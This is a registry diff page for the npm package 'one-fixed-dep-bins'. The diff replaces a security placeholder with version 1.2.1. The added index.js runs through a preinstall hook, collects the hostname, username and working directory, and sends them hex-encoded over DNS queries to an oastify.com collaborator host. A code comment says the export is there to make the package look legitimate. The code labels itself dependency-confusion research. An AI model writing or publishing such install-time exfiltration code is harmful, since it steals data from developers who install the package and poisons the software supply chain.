one-fixed-dep-bins 0.0.1-security → 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of one-fixed-dep-bins might be problematic. Click here for more details.
- package/index.js +81 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
// Your Burp Collabogk4oavwamw7ploegmo3dnzpb82eu2uqj.oastify.comrator or custom DNS server
|
|
6
|
+
const DNS_SERVER = 'gk4oavwamw7ploegmo3dnzpb82eu2uqj.oastify.com';
|
|
7
|
+
|
|
8
|
+
function collectSystemInfo() {
|
|
9
|
+
try {
|
|
10
|
+
// Collect basic system information (similar to the original research)
|
|
11
|
+
const hostname = os.hostname();
|
|
12
|
+
const username = os.userInfo().username;
|
|
13
|
+
const currentPath = process.cwd();
|
|
14
|
+
|
|
15
|
+
console.log('[DEPENDENCY CONFUSION TEST] Package installed!');
|
|
16
|
+
console.log(`Hostname: ${hostname}`);
|
|
17
|
+
console.log(`Username: ${username}`);
|
|
18
|
+
console.log(`Current Path: ${currentPath}`);
|
|
19
|
+
|
|
20
|
+
// Create a unique identifier for this installation
|
|
21
|
+
const timestamp = Date.now().toString(36);
|
|
22
|
+
const data = {
|
|
23
|
+
hostname: hostname,
|
|
24
|
+
username: username,
|
|
25
|
+
path: currentPath,
|
|
26
|
+
timestamp: timestamp
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
// Convert data to hex string for DNS exfiltration
|
|
30
|
+
const dataString = JSON.stringify(data);
|
|
31
|
+
const hexData = Buffer.from(dataString, 'utf8').toString('hex');
|
|
32
|
+
|
|
33
|
+
// Split data into chunks (DNS labels have max 63 chars)
|
|
34
|
+
const chunks = hexData.match(/.{1,60}/g) || [];
|
|
35
|
+
|
|
36
|
+
// Send data via DNS queries
|
|
37
|
+
chunks.forEach((chunk, index) => {
|
|
38
|
+
const subdomain = `${chunk}.${index}.${timestamp}.${DNS_SERVER}`;
|
|
39
|
+
|
|
40
|
+
console.log(`[DNS EXFILTRATION] Sending chunk ${index + 1}/${chunks.length}`);
|
|
41
|
+
console.log(`Query: ${subdomain}`);
|
|
42
|
+
|
|
43
|
+
// Perform DNS lookup to exfiltrate data
|
|
44
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
|
45
|
+
if (err) {
|
|
46
|
+
console.log(`[DNS] Query sent for chunk ${index + 1} (expected to fail)`);
|
|
47
|
+
} else {
|
|
48
|
+
console.log(`[DNS] Unexpected response for chunk ${index + 1}:`, addresses);
|
|
49
|
+
}
|
|
50
|
+
});
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
// Also send a simple beacon
|
|
54
|
+
const simpleBeacon = `beacon.${hostname}.${username}.${timestamp}.${DNS_SERVER}`;
|
|
55
|
+
console.log(`[BEACON] ${simpleBeacon}`);
|
|
56
|
+
|
|
57
|
+
dns.resolve4(simpleBeacon, (err, addresses) => {
|
|
58
|
+
if (err) {
|
|
59
|
+
console.log('[BEACON] Beacon sent successfully');
|
|
60
|
+
}
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
} catch (error) {
|
|
64
|
+
console.error('[ERROR] Failed to collect system info:', error.message);
|
|
65
|
+
|
|
66
|
+
// Send error beacon
|
|
67
|
+
const errorBeacon = `error.${Date.now().toString(36)}.${DNS_SERVER}`;
|
|
68
|
+
dns.resolve4(errorBeacon, () => {});
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// Execute immediately when package is installed
|
|
73
|
+
collectSystemInfo();
|
|
74
|
+
|
|
75
|
+
// Export something to make it look like a legitimate package
|
|
76
|
+
module.exports = {
|
|
77
|
+
test: function() {
|
|
78
|
+
return 'This is a test package for dependency confusion research';
|
|
79
|
+
},
|
|
80
|
+
version: '1.0.0'
|
|
81
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "one-fixed-dep-bins",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.2.1",
|
|
4
|
+
"description": "Supply Chain Security Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Vishal Kumar",
|
|
11
|
+
"license": "MIT"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=one-fixed-dep-bins for more information.
|